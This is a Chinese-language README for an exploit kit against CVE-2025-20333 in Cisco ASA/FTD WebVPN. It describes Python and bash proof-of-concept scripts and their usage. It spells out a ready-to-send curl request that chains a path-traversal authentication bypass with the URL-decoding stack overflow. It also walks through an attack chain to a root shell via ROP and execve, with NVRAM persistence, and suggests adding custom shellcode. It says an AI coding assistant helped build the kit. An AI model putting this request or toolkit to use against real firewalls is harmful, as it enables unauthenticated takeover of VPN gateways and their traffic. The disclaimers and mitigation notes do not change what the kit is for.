CVE-2025-20333 - 完整研究与利用工具包

概述

本目录包含针对 CVE-2025-20333 的全面研究、分析和概念验证代码，这是 Cisco ASA/FTD WebVPN 服务器中的一个严重栈缓冲区溢出漏洞。

状态： ⚠️ 已在野外被积极利用（ArcaneDoor 攻击活动）
CVSS 评分： 9.8 严重
认证要求： 否（通过 CVE-2025-20362 绕过）
影响： 以 root 权限远程执行代码

内容

📚 文档

CVE-2025-20333-RESEARCH-NOTES.md（20 KB）

完整的逆向工程研究

• 漏洞背景与网络情报
• 二进制分析（ASA 9.12.4.x lina 进程）
• 请求摄取层审计
• Lua API 绑定分析
• 🎯 溢出发现（body_lexer.re2c、FUN_0302e690）
• 攻击链分解
• 带代码模式的根因分析
• 工具与地址参考表

关键发现：

body_lexer.re2c 中的固定 16 字节缓冲区（local_58[16]）
URL 解码循环没有边界检查
写入 local_58[iVar11] 时未检查 iVar11 < 16
超过 8 个十六进制对后：溢出 → 栈损坏 → RCE

EXPLOITATION-GUIDE.md（12 KB）

实用利用手册

• 漏洞机制详解
• 完整攻击链（CVE-2025-20362 绕过 + 溢出）
• 分步利用演练
• 载荷构造技术
• 基于网络的检测方法
• 基于主机的检测与日志分析
• 缓解策略
• 已修补版本与升级路径
• 法律与道德考量

🔧 概念验证漏洞利用

cve-2025-20333-poc.py（15 KB）

功能完整的 Python 漏洞利用

功能：

• 自动载荷生成
• CVE-2025-20362 路径遍历集成
• ROP 小工具链构造
• SSL/TLS 支持
• 可配置超时
• 详细进度报告

用法：

# 显示漏洞详情
python3 cve-2025-20333-poc.py --details

# 利用目标
python3 cve-2025-20333-poc.py 192.168.1.100 443

# 自定义设置
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

cve-2025-20333-poc.sh（8.5 KB）

轻量级 bash 漏洞利用

功能：

• 无 Python 依赖
• 使用 curl 或 netcat
• 最小资源占用
• 教育性注释
• 清晰的状态输出

用法：

# 显示详情
./cve-2025-20333-poc.sh --details

# 利用
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# 手动使用 curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

漏洞摘要

快速事实

根因

// body_lexer.re2c - URL 解码循环
byte local_58[16];  // ← 固定 16 字节缓冲区

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← 没有边界检查！
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

溢出触发条件： POST 请求体中连续 9 个以上 %XX 序列

攻击链

1. 攻击者（无需认证）
   ↓
2. 向 /+CSCOU+/../+CSCOE+/files/file_list.json 发送 HTTP POST
   ├─ CVE-2025-20362：路径遍历绕过认证检查
   └─ 到达 files_retr.lua 端点（auth_flag = 0）
   ↓
3. POST 请求体：name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   （9 个以上 URL 编码对）
   ↓
4. body_lexer.re2c 处理 POST 请求体
   ├─ 将十六进制对累积到 local_58[16]
   └─ 超过 8 对后：溢出！
   ↓
5. 栈损坏
   ├─ 覆盖 local_48、local_40
   ├─ 覆盖保存的 RBP
   └─ 覆盖保存的 RIP（返回地址）
   ↓
6. 控制流劫持
   ├─ RIP 指向 ROP 小工具
   ├─ ROP 链设置 execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. 以 root 权限 RCE（lina 进程以 root 运行）
   ├─ 完全 VPN 服务器沦陷
   ├─ 访问所有 VPN 流量
   └─ 通过 NVRAM 修改实现持久化

研究过程

阶段 1：二进制分析 ✅

• 在 Ghidra 中打开 lina 二进制文件
• 映射 WebVPN 请求架构（HTTP 解析器、URL 路由器、13 个端点钩子）
• 审计请求摄取层（全部安全，使用 clString/精确大小分配）
• 检查 Lua API 绑定（全部安全）

阶段 2：网络情报 ✅

• 搜索 CVE-2025-20333 技术细节
• 找到 Rapid7、Zscaler、Horizon3、Tenable 的分析
• 确认攻击链使用 /+CSCOU+/../+CSCOE+/files/file_list.json
• 确定根因：Lua 端点中的堆溢出（网络来源）/ 栈溢出（此二进制文件）

阶段 3：定向逆向 ✅

• 反编译 body_lexer.re2c（FUN_0302e690）
• 发现： 固定 16 字节缓冲区 local_58[16]，无边界检查
• 确认溢出路径：URL 解码循环 → 无界写入
• 验证可达性：files_retr.lua → body_lexer → 栈溢出

阶段 4：漏洞利用开发 ✅

• 创建带 ROP 链支持的 Python PoC
• 创建适用于最小环境的 bash PoC
• 记录载荷结构和构造技术
• 包含检测与缓解指南

使用说明

用于授权的渗透测试

1. 验证授权

   • 获得书面测试许可
   • 确认目标系统详情（IP、端口、版本）
   • 记录范围和时限

2. 运行漏洞利用

   root@kitploit:~

   # 快速检查：目标是否对利用尝试有响应？
   python3 cve-2025-20333-poc.py <target_ip>
   
   # 或 bash 版本：
   ./cve-2025-20333-poc.sh <target_ip>
   

3. 验证利用结果

   • 检查 shell 访问 / 反向 shell 连接
   • 检查系统日志中的崩溃或异常
   • 扫描被修改的文件（NVRAM、持久化后门）

4. 记录发现

   • 记录目标版本、补丁级别
   • 记录利用成功/失败情况
   • 记录遇到的防御措施
   • 向客户报告并附上修复建议

用于安全研究

1. 阅读研究笔记

   • 学习 CVE-2025-20333-RESEARCH-NOTES.md
   • 理解二进制架构和溢出机制

2. 研究 PoC

   • 查看 Python PoC 了解 ROP 小工具构造
   • 查看 bash PoC 了解最小化利用
   • 理解载荷编码

3. 改编与扩展

   • 添加自定义 shellcode
   • 实现不同的利用技术
   • 在已修补与易受攻击版本上测试

重要警告

⚠️ 法律声明

本工具包仅供授权的安全测试使用。

• 禁止在未经明确书面许可的情况下对系统使用
• 禁止用于恶意目的（数据窃取、服务中断、勒索软件）
• 未经授权访问违反**美国计算机欺诈与滥用法案（CFAA）**及全球类似法律
• 处罚包括刑事起诉、罚款和监禁

✅ 授权使用：

• 经书面批准的渗透测试
• 漏洞研究期间的概念验证
• 内部安全测试
• CTF 竞赛
• 学术研究

❌ 禁止使用：

• 未经许可攻击系统
• 部署勒索软件
• 数据窃取或勒索
• 服务中断
• 在已沦陷网络中进行横向移动

文件清单

cve-2025-20333/
├── README.md                              （本文件）
├── CVE-2025-20333-RESEARCH-NOTES.md      （20 KB，综合研究）
├── EXPLOITATION-GUIDE.md                 （12 KB，实用指南）
├── cve-2025-20333-poc.py                 （15 KB，Python PoC）
└── cve-2025-20333-poc.sh                 （8.5 KB，bash PoC）

文档总量： 约 65 KB
研究深度： 审计了 50 多个 Ghidra 函数
已验证发现： 确认 body_lexer.re2c 中的缓冲区溢出

快速参考

漏洞快速测试

# 测试目标是否易受利用
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
  --insecure \
  -i

# 如果目标有响应（200、500、崩溃），则可能易受攻击
# 如果目标阻止/重定向，则可能已修补

版本检查

# 易受攻击版本：
# - Cisco ASA 9.16 至 9.23
# - Cisco FTD 7.0 至 7.7

# 使用 SSH/控制台检查 ASA 版本：
show version

# 已修补版本：
# - ASA 9.16.4.51、9.18.4.31、9.20.4.49、9.22.4.9、9.24.1+
# - FTD 7.0.x、7.1.x、7.2.x（已修补）

缓解检查清单

• 验证 ASA/FTD 版本
• 检查可用补丁
• 如果易受攻击，升级到已修补版本
• 按 IP 地址限制 WebVPN 访问
• 启用日志记录和监控
• 监视 CVE-2025-20362 路径遍历尝试
• 监控 DoS 模式（lina 崩溃）
• 在 WebVPN 端口上启用防火墙保护

参考

• Cisco 安全公告： https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-z5xP8EUB
• Rapid7 分析： https://www.rapid7.com/blog/post/etr-cve-2025-20333-cve-2025-20362-cve-2025-20363-multiple-critical-vulnerabilities-affecting-cisco-products/
• Zscaler ThreatLabz： https://www.zscaler.com/blogs/security-research/cisco-firewall-and-vpn-zero-day-attacks-cve-2025-20333-and-cve-2025-20362
• Tenable FAQ： https://www.tenable.com/blog/cve-2025-20333-cve-2025-20362-faq-cisco-asa-ftd-zero-days-uat4356

免责声明

本工具包按"原样"提供，仅供教育和授权测试使用。

• 使用风险自负
• 对滥用不提供任何保证或责任
• 未经授权访问属违法行为
• 向 Cisco 和相关组织负责任地报告发现
• 遵守您所在国家的网络安全法律

致谢

本项目在 Claude Code（Anthropic 的 AI 驱动编码助手）的协助下开发。

创建日期： 2026-08-23
研究周期： 2026-08-22 至 2026-08-23
状态： 已完成并记录
分类： 教育 / 仅限授权测试